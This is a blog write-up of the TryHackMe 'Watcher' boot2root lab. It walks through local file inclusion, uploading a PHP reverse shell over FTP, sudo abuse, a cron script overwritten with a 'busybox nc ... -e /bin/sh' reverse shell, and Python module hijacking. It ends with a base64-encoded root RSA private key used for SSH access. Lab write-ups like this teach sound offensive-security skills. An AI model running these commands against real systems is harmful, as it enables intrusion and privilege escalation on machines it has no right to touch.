Watcher Writeup (TryHackMe Medium Machine)


A boot2root Linux machine utilising web exploits along with some common privilege escalation techniques. Work your way through the machine and try to find all the flags you can!


Overview

Watcher is a medium Linux machine from TryHackMe. The goal of this challenge is to collect 7 flags, which are scattered throughout the machine, last one in the “/root” directory.

We start by discovering LFI vulnerability on the website, which we abuse to read a secret file with FTP credentials. Then, we upload PHP shell script to the FTP server and run it via LFI to get foothold.

Once we get in, we pivot between several users by abusing sudo permissions, overwriting cronjob script and overwriting custom Python module. Ultimately, we find encoded RSA private key of the Root user, which we use/abuse to login into the machine via SSH and get full access.


Nmap scan

Starting with the Nmap scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.127.33 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 10:42 EDT
Nmap scan report for 10.10.127.33
Host is up (0.056s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 2d:cb:f7:c2:cb:e2:69:44:68:24:e9:cd:ad:67:8e:0a (RSA)
| 256 72:18:15:30:a2:d7:d0:bc:e2:fe:16:ae:01:aa:26:be (ECDSA)
|_ 256 b3:6f:32:3f:e4:d8:11:87:7e:5e:84:15:03:8d:8a:ac (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Corkplacemats
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 49.73 ms 10.9.0.1
2 49.80 ms 10.10.127.33

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.94 seconds

The Nmap scan showed 3 open ports. Port 21 for FTP, port 22 for SSH and port 80 for Apache web server. Now, we should perform service enumeration, mainly for FTP and HTTP servers.

We can note that we don’t have anonymous login enabled on FTP, because the Nmap scan would inform us otherwise. We can also check manually like so:

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.127.33
Connected to 10.10.127.33.
220 (vsFTPd 3.0.5)
Name (10.10.127.33:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed


Web enumeration (Flag 1)

I visited the website, it was a blog about cork placemats (believe it or not). Wappalyzer identified extra information, like what programming languages are used and the type of OS.

I ran Gobuster to perform directory fuzzing. It discovered some interesting pages, like “robots.txt”.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://10.10.127.33" -w /usr/share/wordlists/dirb/common.txt -t 64 -r -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.127.33
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/css (Status: 200) [Size: 1167]
/index.php (Status: 200) [Size: 4826]
/images (Status: 200) [Size: 1359]
/post.php (Status: 200) [Size: 2422]
/robots.txt (Status: 200) [Size: 69]
/server-status (Status: 403) [Size: 277]
Progress: 9228 / 9230 (99.98%)


Most of the pages were unimportant and simply contained blog content. The one file that interested me the most was “robots.txt”, which could contain additional secret pages, and it did.

The “robots.txt” is a plain text file placed at the root of a website that tells web crawlers (like Googlebot) which parts of the site they are allowed or not allowed to access. (ChatGPT)

There were 2 entries in the file. Both of them allowed to be crawled.

As we know, the goal of this challenge is to find 7 flags. The “/flag_1.txt” page has the first one. I also checked the “/secret_file_do_not_read.txt” page. But I got hit with 403 Forbidden response.


Exploiting LFI & logging into FTP server (Flag 2)

After that finding, I went back and looked at individual blog posts. Each time, I landed on the same “post.php” page, which took parameter “post”, which contained the appropriate blog post.

I intercepted the request in Burp Suite and tried to load sensitive files like “/etc/passwd” via the “post” parameter. It’s content appeared in the response, confirming LFI vulnerability.

loading “/etc/passwd” file, confirming LFI vulnerability


This is a great finding because now we’re able to read some of the sensitive files (configs, logs). At one point, I remembered the mysterious secret file from the “robots.txt”. I tried to read it via this “post” parameter and it was a success! It contained a message with one pair of credentials for FTP.

I tried these credentials immediately. I was able to log into the FTP server and list it’s files. There was the “flag_2.txt” file, which contained our second flag.

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.91.162
Connected to 10.10.91.162.
220 (vsFTPd 3.0.5)
Name (10.10.91.162:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44894|)
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Dec 03 2020 files
-rw-r--r-- 1 0 0 21 Dec 03 2020 flag_2.txt
226 Directory send OK.
ftp> get flag_2.txt
local: flag_2.txt remote: flag_2.txt
229 Entering Extended Passive Mode (|||45418|)
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
100% |******************************************************************************************************************************************************************************************************************| 21 603.17 KiB/s 00:00 ETA226 Transfer complete.
21 bytes received in 00:00 (0.41 KiB/s)

There was the “files” directory, too, but it was empty.

ftp> cd files
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||42270|)
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Dec 03 2020 .
dr-xr-xr-x 3 65534 65534 4096 Dec 03 2020 ..
226 Directory send OK.


Uploading PHP shell on FTP server, invoking it via LFI & getting initial foothold (Flag 3)

To advance further, we have to look at the secret message once again, because besides credentials, it holds one more important information. Will says to Mat that the root of the FTP server is set to be in the home directory of “ftpuser”.

If we look at FTP’s directory listing, we can notice that the owner has write access to the “/files” directory. Since it’s located in home directory of “ftpuser”, we can assume that “ftpuser” is owner.

we (owner) have write access to “/files” directory on FTP server

If we think about it, we can chain this misconfiguration with the LFI vulnerability, upload a PHP shell script on the server via FTP and run it via LFI. That’s possible due to one distinctive feature of LFI, and that’s the ability to execute files, what makes it different from the path traversal vulnerability.

So I went to “revshells.com” and saved a PHP shell as “shell.php”.

Next, I went back to “/files” directory on FTP and uploaded it.

ftp> cd files
250 Directory successfully changed.
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||46104|)
150 Ok to send data.
100% |******************************************************************************************************************************************************************************************************************| 9289 23.87 MiB/s 00:00 ETA226 Transfer complete.
9289 bytes sent in 00:00 (72.99 KiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||47898|)
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Jul 09 05:48 .
dr-xr-xr-x 3 65534 65534 4096 Dec 03 2020 ..
-rw-r--r-- 1 1001 1001 9289 Jul 09 05:48 shell.php
226 Directory send OK.


I set up my listener, went to the website and navigated to “/home/ftpuser/ftp/files/shell.php” to run my shell script. This was all made possible because we know where our file got uploaded.

My listener received a connection. We got shell as “www-data”.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.9.0.230] from (UNKNOWN) [10.10.253.133] 43694
SOCKET: Shell has connected! PID: 1811
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/html

We find ourselves in the website’s root directory with all of it’s files. There was a strange “/more_secrets_a9f10a” directory, which contained our third flag.

www-data@ip-10-10-253-133:/var/www/html$ ls -la
ls -la
total 60
drwxr-xr-x 5 root root 4096 Dec 3 2020 .
drwxr-xr-x 3 root root 4096 Dec 3 2020 ..
-rw-r--r-- 1 root root 47 Dec 3 2020 .htaccess
-rw-r--r-- 1 root root 3445 Dec 3 2020 bunch.php
drwxr-xr-x 2 root root 4096 Dec 3 2020 css
-rw-r--r-- 1 root root 35 Dec 3 2020 flag_1.txt
drwxr-xr-x 2 root root 4096 Dec 3 2020 images
-rw-r--r-- 1 root root 4826 Dec 3 2020 index.php
drwxr-xr-x 2 root root 4096 Dec 3 2020 more_secrets_a9f10a
-rw-r--r-- 1 root root 2454 Dec 3 2020 post.php
-rw-r--r-- 1 root root 69 Dec 3 2020 robots.txt
-rw-r--r-- 1 root root 3440 Dec 3 2020 round.php
-rw-r--r-- 1 root root 156 Dec 3 2020 secret_file_do_not_read.txt
-rw-r--r-- 1 root root 3446 Dec 3 2020 striped.php
www-data@ip-10-10-253-133:/var/www/html$ cd more_secrets_a9f10a
cd more_secrets_a9f10a
www-data@ip-10-10-253-133:/var/www/html/more_secrets_a9f10a$ ls -la
ls -la
total 12
drwxr-xr-x 2 root root 4096 Dec 3 2020 .
drwxr-xr-x 5 root root 4096 Dec 3 2020 ..
-rw-r--r-- 1 root root 21 Dec 3 2020 flag_3.txt


Getting shell as “toby” by abusing sudo permission (Flag 4)

Time has come for us to escalate our privileges and do some lateral movement. I went down my classic priv esc checklist, started with checking my user’s sudo permissions with “sudo -l” command. We can see that we can run every binary on the machine as user “toby”, no password needed.

www-data@ip-10-10-143-118:/var/www$ sudo -l 
sudo -l
Matching Defaults entries for www-data on ip-10-10-143-118:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-10-10-143-118:
(toby) NOPASSWD: ALL


Luckily, this can be very easily abused, because we can simply run “/bin/bash” to spawn a shell. Make sure to use “sudo” with proper syntax to run it as user “toby”.

www-data@ip-10-10-143-118:/var/www$ sudo -u toby /bin/bash -p
sudo -u toby /bin/bash -p
toby@ip-10-10-143-118:/var/www$ id
id
uid=1003(toby) gid=1003(toby) groups=1003(toby)

Visiting Toby’s home directory, we can see our fourth flag.

toby@ip-10-10-143-118:/var/www$ cd ~
cd ~
toby@ip-10-10-143-118:~$ ls -la
ls -la
total 44
drwxr-xr-x 6 toby toby 4096 Dec 12 2020 .
drwxr-xr-x 7 root root 4096 Jul 9 16:06 ..
lrwxrwxrwx 1 root root 9 Dec 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 toby toby 220 Dec 3 2020 .bash_logout
-rw-r--r-- 1 toby toby 3771 Dec 3 2020 .bashrc
drwx------ 2 toby toby 4096 Dec 3 2020 .cache
drwx------ 3 toby toby 4096 Dec 3 2020 .gnupg
drwxrwxr-x 3 toby toby 4096 Dec 3 2020 .local
-rw-r--r-- 1 toby toby 807 Dec 3 2020 .profile
-rw------- 1 toby toby 21 Dec 3 2020 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec 3 2020 jobs
-rw-r--r-- 1 mat mat 89 Dec 12 2020 note.txt


Getting shell as “mat” by overwriting cronjob (Flag 5)

Staying in Toby’s home directory, we can notice that there’s another interesting “note.txt” text file. Looking at it’s contents, we can see a message from Mat to Toby, hinting at the cronjobs.

toby@ip-10-10-143-118:~$ cat note.txt
cat note.txt
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat

So I immediately checked out the “/etc/crontab” file, which stores scheduled cronjobs. There was one entry, the “cow.sh” Bash script was being ran periodically with the permissions of user “mat”.

toby@ip-10-10-143-118:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/1 * * * * mat /home/toby/jobs/cow.sh


The script was located in Toby’s directory. We were also lucky enough to have write access over it. The original script was simply copying a cow image to the “/tmp” directory. It was time to change it.

toby@ip-10-10-209-245:~/jobs$ ls -la
ls -la
total 12
drwxrwxr-x 2 toby toby 4096 Dec 3 2020 .
drwxr-xr-x 6 toby toby 4096 Dec 12 2020 ..
-rwxr-xr-x 1 toby toby 46 Dec 3 2020 cow.sh
toby@ip-10-10-209-245:~/jobs$ cat cow.sh
cat cow.sh
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg

We can easily overwrite the Bash script with “echo”. We can set up another Netcat listener on different port and inject a command which reaches back to our listener with a shell as user “mat”.

toby@ip-10-10-209-245:~/jobs$ echo -e '#!/bin/bash\nbusybox nc 10.9.0.233 4444 -e /bin/sh' > cow.sh
<sh\nbusybox nc 10.9.0.233 4444 -e /bin/sh' > cow.sh
toby@ip-10-10-209-245:~/jobs$ cat cow.sh
cat cow.sh
#!/bin/bash
busybox nc 10.9.0.233 4444 -e /bin/sh

After a while, I received a connection and got the shell.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.9.0.233] from (UNKNOWN) [10.10.209.245] 49512
id
uid=1002(mat) gid=1002(mat) groups=1002(mat)

In Mat’s home directory, there was our fifth flag.

mat@ip-10-10-209-245:~$ ls -la
ls -la
total 312
drwxr-xr-x 6 mat mat 4096 Dec 3 2020 .
drwxr-xr-x 7 root root 4096 Jul 10 10:22 ..
lrwxrwxrwx 1 root root 9 Dec 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 mat mat 220 Dec 3 2020 .bash_logout
-rw-r--r-- 1 mat mat 3771 Dec 3 2020 .bashrc
drwx------ 2 mat mat 4096 Dec 3 2020 .cache
-rw-r--r-- 1 mat mat 270433 Dec 3 2020 cow.jpg
-rw------- 1 mat mat 37 Dec 3 2020 flag_5.txt
drwx------ 3 mat mat 4096 Dec 3 2020 .gnupg
drwxrwxr-x 3 mat mat 4096 Dec 3 2020 .local
-rw-r--r-- 1 will will 141 Dec 3 2020 note.txt
-rw-r--r-- 1 mat mat 807 Dec 3 2020 .profile
drwxrwxr-x 2 will will 4096 Dec 3 2020 scripts


Getting shell as “will” by overwriting Python module (Flag 6)

Once again, there was a note left for Mat. It was a message from Will, who informs us that our sudo rights were set up to use some Python script with Will’s permissions (and it should be safe :D).

mat@ip-10-10-48-144:~$ cat note.txt
cat note.txt
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will

So I checked my sudo permissions. We can run “will_script.py” as user “will” without a password.

mat@ip-10-10-48-144:~$ sudo -l
sudo -l
Matching Defaults entries for mat on ip-10-10-48-144:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mat may run the following commands on ip-10-10-48-144:
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

Looking into the “/scripts” directory, we can find 2 files: “will_script.py” and “cmd.py”.

The “will_script.py” looked like this:

import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
print("Invalid command!")
exit()

os.system(cmd)

And “cmd.py” looked like this:

def get_command(num):
if(num == "1"):
return "ls -lah"
if(num == "2"):
return "id"
if(num == "3"):
return "cat /etc/passwd"

These scripts seem to run predefined commands based on an integer that you supply as an argument. We can also see that “will_script.py” imports the “get_command” function from “cmd.py”.


If we observe the permissions set on these 2 files, we find out that we have write access to “cmd.py”.

we (Mat) have write access to “cmd.py”

That’s great, because now we can simply inject a shell-spawning code into “cmd.py”, which gets ran with “will_script.py” with elevated permissions. So I opened “cmd.py” in Vim and added a piece of code which connects back to my Netcat listener like so:

injecting malicious code into “cmd.py”

After that, we can run the script. Remember to use absolute paths.

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1

My listener received a connection. I got the shell as user “will”.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.9.0.233] from (UNKNOWN) [10.10.32.124] 32964
id
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

In Will’s home directory, there was our sixth flag. Almost done!

will@ip-10-10-32-124:/home/mat/scripts$ cd ~
cd ~
will@ip-10-10-32-124:~$ ls -la
ls -la
total 36
drwxr-xr-x 5 will will 4096 Dec 3 2020 .
drwxr-xr-x 7 root root 4096 Jul 12 08:16 ..
lrwxrwxrwx 1 will will 9 Dec 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 will will 220 Dec 3 2020 .bash_logout
-rw-r--r-- 1 will will 3771 Dec 3 2020 .bashrc
drwx------ 2 will will 4096 Dec 3 2020 .cache
drwxr-x--- 3 will will 4096 Dec 3 2020 .config
-rw------- 1 will will 41 Dec 3 2020 flag_6.txt
drwx------ 3 will will 4096 Dec 3 2020 .gnupg
-rw-r--r-- 1 will will 807 Dec 3 2020 .profile
-rw-r--r-- 1 will will 0 Dec 3 2020 .sudo_as_admin_successful


Getting SSH access as “root” by using found RSA private key (Flag 7)

On my way to root, I checked for common priv esc vectors, like sudo permissions, SUID binaries, capabilities etc. But nothing interesting popped out.

So I started to crawl the filesystem, which finally yielded good results. In “/opt” directory, I found an interesting “/backup” directory. As user “will”, we didn’t have any permission over the directory. But the “adm” group had both read and write access, and if we check what groups are we, as “will”, part of with the “id” command, we find out that we are actually part of the “adm” group.

will@ip-10-10-32-124:/$ cd /opt
cd /opt
will@ip-10-10-32-124:/opt$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Dec 3 2020 .
drwxr-xr-x 24 root root 4096 Jul 12 08:16 ..
drwxrwx--- 2 root adm 4096 Dec 3 2020 backups
will@ip-10-10-32-124:/opt$ id
id
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

That means that we have access after all. There was only one “key.b64” file inside, apparently containing a long base64 encoded string.

will@ip-10-10-32-124:/opt$ cd backups
cd backups
will@ip-10-10-32-124:/opt/backups$ ls -la
ls -la
total 12
drwxrwx--- 2 root adm 4096 Dec 3 2020 .
drwxr-xr-x 3 root root 4096 Dec 3 2020 ..
-rw-rw---- 1 root adm 2270 Dec 3 2020 key.b64
will@ip-10-10-32-124:/opt/backups$ cat key.b64
cat key.b64
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBelBhUUZvbFFx
OGNIb205bXNzeVBaNTNhTHpCY1J5QncrcnlzSjNoMEpDeG5WK2FHCm9wWmRjUXowMVlPWWRqWUlh
WkVKbWRjUFZXUXAvTDB1YzV1M2lnb2lLMXVpWU1mdzg1ME43dDNPWC9lcmRLRjQKanFWdTNpWE45
ZG9CbXIzVHVVOVJKa1ZuRER1bzh5NER0SXVGQ2Y5MlpmRUFKR1VCMit2Rk9ON3E0S0pzSXhnQQpu
TThrajhOa0ZrRlBrMGQxSEtIMitwN1FQMkhHWnJmM0RORm1RN1R1amEzem5nYkVWTzdOWHgzVjNZ
T0Y5eTFYCmVGUHJ2dERRVjdCWWI2ZWdrbGFmczRtNFhlVU8vY3NNODRJNm5ZSFd6RUo1enBjU3Jw
bWtESHhDOHlIOW1JVnQKZFNlbGFiVzJmdUxBaTUxVVIvMndOcUwxM2h2R2dscGVQaEtRZ1FJREFR
QUJBb0lCQUhtZ1RyeXcyMmcwQVRuSQo5WjVnZVRDNW9VR2padjdtSjJVREZQMlBJd3hjTlM4YUl3
YlVSN3JRUDNGOFY3cStNWnZEYjNrVS80cGlsKy9jCnEzWDdENTBnaWtwRVpFVWVJTVBQalBjVU5H
VUthWG9hWDVuMlhhWUJ0UWlSUjZaMXd2QVNPMHVFbjdQSXEyY3oKQlF2Y1J5UTVyaDZzTnJOaUpR
cEdESkRFNTRoSWlnaWMvR3VjYnluZXpZeWE4cnJJc2RXTS8wU1VsOUprbkkwUQpUUU9pL1gyd2Z5
cnlKc20rdFljdlk0eWRoQ2hLKzBuVlRoZWNpVXJWL3drRnZPRGJHTVN1dWhjSFJLVEtjNkI2CjF3
c1VBODUrdnFORnJ4ekZZL3RXMTg4VzAwZ3k5dzUxYktTS0R4Ym90aTJnZGdtRm9scG5Gdyt0MFFS
QjVSQ0YKQWxRSjI4a0NnWUVBNmxyWTJ4eWVMaC9hT0J1OStTcDN1SmtuSWtPYnBJV0NkTGQxeFhO
dERNQXo0T3FickxCNQpmSi9pVWNZandPQkh0M05Oa3VVbTZxb0VmcDRHb3UxNHlHek9pUmtBZTRI
UUpGOXZ4RldKNW1YK0JIR0kvdmoyCk52MXNxN1BhSUtxNHBrUkJ6UjZNL09iRDd5UWU3OE5kbFF2
TG5RVGxXcDRuamhqUW9IT3NvdnNDZ1lFQTMrVEUKN1FSNzd5UThsMWlHQUZZUlhJekJncDVlSjJB
QXZWcFdKdUlOTEs1bG1RL0UxeDJLOThFNzNDcFFzUkRHMG4rMQp2cDQrWThKMElCL3RHbUNmN0lQ
TWVpWDgwWUpXN0x0b3pyNytzZmJBUVoxVGEybzFoQ2FsQVF5SWs5cCtFWHBJClViQlZueVVDMVhj
dlJmUXZGSnl6Z2Njd0V4RXI2Z2xKS09qNjRiTUNnWUVBbHhteC9qeEtaTFRXenh4YjlWNEQKU1Bz
K055SmVKTXFNSFZMNFZUR2gydm5GdVR1cTJjSUM0bTUzem4reEo3ZXpwYjFyQTg1SnREMmduajZu
U3I5UQpBL0hiakp1Wkt3aTh1ZWJxdWl6b3Q2dUZCenBvdVBTdVV6QThzOHhIVkk2ZWRWMUhDOGlw
NEptdE5QQVdIa0xaCmdMTFZPazBnejdkdkMzaEdjMTJCcnFjQ2dZQWhGamkzNGlMQ2kzTmMxbHN2
TDRqdlNXbkxlTVhuUWJ1NlArQmQKYktpUHd0SUcxWnE4UTRSbTZxcUM5Y25vOE5iQkF0aUQ2L1RD
WDFrejZpUHE4djZQUUViMmdpaWplWVNKQllVTwprSkVwRVpNRjMwOFZuNk42L1E4RFlhdkpWYyt0
bTRtV2NOMm1ZQnpVR1FIbWI1aUpqa0xFMmYvVHdZVGcyREIwCm1FR0RHd0tCZ1FDaCtVcG1UVFJ4
NEtLTnk2d0prd0d2MnVSZGo5cnRhMlg1cHpUcTJuRUFwa2UyVVlsUDVPTGgKLzZLSFRMUmhjcDlG
bUY5aUtXRHRFTVNROERDYW41Wk1KN09JWXAyUloxUnpDOUR1ZzNxa3R0a09LQWJjY0tuNQo0QVB4
STFEeFUrYTJ4WFhmMDJkc1FIMEg1QWhOQ2lUQkQ3STVZUnNNMWJPRXFqRmRaZ3Y2U0E9PQotLS0t
LUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=

So I booted CyberChef and decrypted the string. It turned out that it was actually RSA private key.


But which user did the key belong to? Hopefully it is for “root” user. So I saved the RSA private key into a “id_rsa” file and set appropriate permissions. After that, using the private key and asymmetric encryption, I logged into the machine via SSH as “root”.

┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa

┌──(kali㉿kali)-[~]
└─$ ls -la id_rsa
-rw------- 1 kali kali 1679 Jul 12 08:07 id_rsa

┌──(kali㉿kali)-[~]
└─$ ssh root@10.10.32.124 -i id_rsa
root@ip-10-10-32-124:~# id
uid=0(root) gid=0(root) groups=0(root)

The final seventh flag was sitting in “/root” directory.

root@ip-10-10-32-124:~# ls -la
total 44
drwx------ 7 root root 4096 Apr 27 06:29 .
drwxr-xr-x 24 root root 4096 Jul 12 08:16 ..
lrwxrwxrwx 1 root root 9 Dec 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Dec 3 2020 .cache
-rw-r--r-- 1 root root 31 Dec 3 2020 flag_7.txt
drwx------ 3 root root 4096 Dec 3 2020 .gnupg
drwxr-xr-x 3 root root 4096 Dec 3 2020 .local
-rw-r--r-- 1 root root 161 Jan 2 2024 .profile
-rw-r--r-- 1 root root 66 Dec 3 2020 .selected_editor
drwx------ 3 root root 4096 Apr 27 06:29 snap
drwx------ 2 root root 4096 Dec 3 2020 .ssh

And that’s the Watcher machine done!


Summary & final thoughts

Watcher is a medium machine from TryHackMe. To complete this box, we have to collect 7 flags, while exploiting different vulnerabilities and misconfigurations. We start by enumerating a website and discovering LFI vulnerability, which allows us to read certain forbidden file, which contains a set of credentials for FTP server. Next, we abuse the write access on FTP to upload PHP shell script, which we run through LFI. Once inside, we perform lateral movement between 3 users (Toby, Mat and Will), exploiting numerous classic Linux misconfigurations in the process. There was insecure sudo permission, writable cronjob and writable Python module. Ultimately, we find encoded RSA private key, which belongs to Root. We use it to get root access to the machine via SSH.

To sum up, I think that this box has several very good, and not that difficult vulnerabilities. Ranging from web application flaws to Linux system misconfigurations. For each successful exploitation, you’ll get a flag as a reward. Overall, this machine has good grinding vibes, flow is great as the vulnerabilities are pretty basic, straightforward and realistic, nothing too advanced. Recommending to anyone who’s down to practice basic attacks and exploitation techniques. Beginners can learn how to deal with some of the most common vulnerabilities and misconfigurations of Linux systems.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)